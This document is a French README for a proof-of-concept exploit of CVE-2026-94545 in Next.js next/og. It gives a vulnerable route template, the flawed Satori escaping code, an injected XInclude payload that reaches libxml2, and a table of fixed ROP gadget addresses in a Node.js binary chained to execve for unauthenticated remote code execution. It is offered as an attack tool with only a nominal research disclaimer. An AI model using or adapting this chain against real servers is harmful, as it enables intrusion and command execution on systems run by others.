
PoC Python pour CVE-2026-94545 : exploite une entrée SVG non échappée dans next/og de Next.js pour déclencher une corruption de libxml2 et une chaîne ROP permettant une RCE non authentifiée.
next/og de Next.jsÀ des fins de recherche en sécurité uniquement, dans des environnements de vulnérabilité autorisés.
| Élément | Valeur |
|---|---|
| CVE | CVE-2026-94545 / GHSA-vcvr-r3jv-pc5j |
| Amont | Satori GHSA-wx4j-mvgx-mqwp |
| Cause racine | CWE-116 (Encodage ou échappement incorrect de la sortie) → corruption de mémoire du parseur XML natif → RCE |
| Affecté | Next.js 16.2.0 – 16.3.5 (runtime Node avec sharp installé) ; Satori embarqué ≥ 0.0.27 et < 0.33.5 |
| Corrigé | Next.js 16.3.6 / Satori 0.33.5 |
| Impact | Exécuter des commandes arbitraires dans le processus du service Next.js sans authentification |
| Pile testée | Next.js 16.3.5 + sharp 0.35.4 (libvips 8.18.6, librsvg 2.62.91, libxml2 2.15.3) + binaire officiel x64 de Node.js v24.20.0 (non-PIE) |
Avec le runtime Edge (export const runtime = 'edge') ou lorsque sharp n'est pas installé, le rendu passe par le bac à sable resvg-wasm ; cette vulnérabilité n'atteint donc pas la chaîne de parsing native et ne devient par conséquent pas une RCE.
L'entrée utilisateur est concaténée dans le SVG en tant que texte brut, puis ce SVG est inséré en entier dans une URL data: et transmis à un parseur XML en langage C pour une seconde passe de parsing. Seul un encodage d'URL est effectué entre-temps ; l'échappement XML n'est jamais réalisé.
Schéma typique : POST /api/og place l'intégralité du corps de la requête, ou GET /api/og?value= place le paramètre de requête, directement dans le <title> SVG de ImageResponse, sans filtrage ni échappement.
import { ImageResponse } from 'next/og'
export const runtime = 'nodejs'
export const dynamic = 'force-dynamic'
async function render(request) {
const url = new URL(request.url)
const value = request.method === 'POST'
? await request.text()
: (url.searchParams.get('value') ?? '')
return new ImageResponse(
<svg width="1200" height="630"><title>{value}</title></svg>,
{ width: 1200, height: 630 }
)
}
export const GET = render
export const POST = render
ImageResponse reçoit un arbre d'éléments JSX et renvoie un PNG. Toute route qui écrit des données de requête dans des nœuds enfants / attributs / styles SVG constitue un sink.
next/ognode_modules/next/og.js redirige vers next/dist/server/og/image-response.js. Le runtime Node charge dynamiquement next/dist/compiled/@vercel/og/index.node.js (chemin natif) ; le runtime Edge charge le chemin wasm et n'est pas affecté par cette vulnérabilité.
@vercel/og — Satori génère le SVG, puis le transmet pour rastérisationLe flux de @vercel/og intégré à Next.js (les commentaires de l'artefact compilé confirment qu'il contient [email protected]) est le suivant :
sharp est détecté, transmettre le SVG à la bibliothèque native pour rastérisation ; sinon, se rabattre sur resvg-wasm.const svg = await satori2(element, { width, height, fonts, ... })
if (sharp) {
pngBuffer = await sharp(new TextEncoder().encode(svg)).resize(width).png().toBuffer()
} else {
const resvgJS = new resvg.Resvg(svg, { fitTo: { mode: ... } })
}
À ce stade, l'entrée utilisateur est déjà devenue une chaîne SVG et est transmise telle quelle à sharp (libvips natif).
Pour un <svg> explicitement écrit en JSX, Satori le sérialise entièrement dans une URL data:image/svg+xml puis l'intègre dans la sortie sous forme d'<image>.
vercel/[email protected] src/layout.ts : appelle SVGNodeToImage lors de l'entrée dans un nœud <svg>.
src/handler/preprocess.ts présente deux défauts majeurs :
const SVGSymbols = /[\r\n%#()<>?[\\\]^`{|}"']/g // Only used for URI percent-encoding
export function translateSVGNodeToSVGString(node, inheritedColor) {
if (typeof node !== 'object') return String(node) // Flaw 1: string child nodes are returned as-is, with no XML entity escaping
return `<${type}${attrs}${styles}>${translateSVGNodeToSVGString(children, currentColor)}</${type}>`
}
export async function SVGNodeToImage(element, inheritedColor) {
return `data:image/svg+xml;utf8,${`<svg ...>...</svg>`.replace(SVGSymbols, encodeURIComponent)}`
// Flaw 2: only URI percent-encoding is performed, not XML escaping
}
&, < et > ne sont pas écrits sous la forme & / < / >. L'encodage en pourcentage n'est qu'une exigence de syntaxe d'URL ; lorsque le parseur en aval charge l'URL data:, %3C/title%3E est restauré en un véritable </title>, et le texte de l'attaquant passe de « données » à « structure de document ».
Lorsque l'entrée est </title><xi:include …/><title>, le SVG intermédiaire transmis par Satori à sharp prend la forme suivante (décodé pour illustration) :
<svg width="1200" height="630" viewBox="0 0 1200 630" xmlns="http://www.w3.org/2000/svg">
<image x="0" y="0" width="1200" height="630"
href="data:image/svg+xml;utf8,...<title></title><xi:include
xmlns:xi='http://www.w3.org/2001/XInclude'
href='data:image/svg+xml,...' parse='xml'/><title></title>..." />
</svg>
sharp(SVG buffer)
→ libvips vips_foreign_load_svg_buffer()
→ librsvg rsvg_handle_new_from_stream_with_flags()
├─ Parses the outer SVG
├─ When it encounters <image href="data:image/svg+xml,...">, loads and re-parses the sub-document
└─ XML parsing is delegated to libxml2
→ libxml2 xmlStringLenDecodeEntities / xmlXIncludeProcessNode / xmlXIncludeLoadDoc
La charge utile utilise deux couches d'injection pour contrôler la structure d'entrée de libxml2 :
</title><xi:include parse="xml" href="data:…"> externe fait basculer le parseur vers le chargement d'un document imbriqué entièrement contrôlé par l'attaquant.L'état interne de libxml2 est poussé au-delà de ses attentes, entraînant une écriture hors limites. L'effet de corruption est appliqué de manière fiable via des séquences de coordonnées SVG <path> soigneusement agencées (des doubles IEEE-754 transportant des mots de 8 octets en little-endian), détournant ainsi le flux de contrôle.
execveLe binaire Node.js linux-x64 officiellement publié est un exécutable non-PIE avec une base de chargement fixe ; les adresses PLT / GOT et des gadgets sont constantes, donc aucune fuite d'information n'est nécessaire.
Ce PoC est construit pour Node.js v24.20.0 officiel x64 ; les gadgets sont les suivants :
| Symbole | Adresse | Objectif |
|---|---|---|
POP_RDI | 0xA1EAED | pop rdi ; ret |
POP_RAX | 0x7F38D4 | pop rax ; ret |
POP_RSI | 0x95823D | pop rsi ; ret |
POP_RDX | 0x776758 | pop rdx ; ret |
STOSQ_RET | 0xD16725 | stosq ; ret (écrit dans la zone de travail qword par qword) |
EXECVE_PLT | 0x745FA0 | stub PLT de execve |
SCRATCH | 0x6B5F500 | Adresse inscriptible fixe |